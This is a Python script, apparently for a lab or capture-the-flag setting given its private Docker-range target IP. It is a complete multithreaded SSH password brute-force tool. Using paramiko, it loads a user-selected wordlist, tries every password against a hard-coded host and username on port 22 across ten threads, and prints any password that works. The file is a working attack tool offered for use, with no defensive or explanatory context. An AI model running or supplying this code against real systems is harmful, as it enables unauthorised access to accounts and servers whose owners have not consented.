SSH_Bruteforce_NeedWordList.py

ssh_bf_wordlist.py

import paramiko
import tkinter as tk
from tkinter import filedialog
from threading import Thread, Lock
import queue

# Configuración global
HOST = "172.17.0.3"  # Cambia por la IP del servidor SSH
PORT = 22
USERNAME = "USERNAME"

# Variables compartidas entre hilos
password_queue = queue.Queue()
found = False
lock = Lock()


def ssh_brute_force(password):
    global found
    if found:
        return
    try:
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(HOST, PORT, username=USERNAME, password=password, timeout=5)
        with lock:
            if not found:
                print(f"[+] Contraseña encontrada: {password}")
                found = True
    except paramiko.AuthenticationException:
        pass
    except Exception as e:
        print(f"[!] Error: {e}")
    finally:
        client.close()


def worker():
    while not password_queue.empty() and not found:
        password = password_queue.get()
        ssh_brute_force(password.strip())
        password_queue.task_done()


def load_passwords(file_path):
    with open(file_path, "r", encoding="latin-1") as f:
        for line in f:
            password_queue.put(line.strip())


def main():
    global found

    # Configurar Tkinter para seleccionar el diccionario
    root = tk.Tk()
    root.withdraw()  # Ocultar ventana principal
    file_path = filedialog.askopenfilename(title="Selecciona el archivo de diccionario")
    if not file_path:
        print("No se seleccionó ningún archivo.")
        return

    print("[*] Cargando diccionario...")
    load_passwords(file_path)

    # Crear y lanzar hilos
    num_threads = 10  # Ajusta según tus necesidades
    threads = []

    print(f"[*] Iniciando ataque con {num_threads} hilos...")

    for _ in range(num_threads):
        thread = Thread(target=worker)
        thread.start()
        threads.append(thread)

    for thread in threads:
        thread.join()

    if not found:
        print("[-] No se encontró la contraseña en el diccionario.")


if __name__ == "__main__":
    main()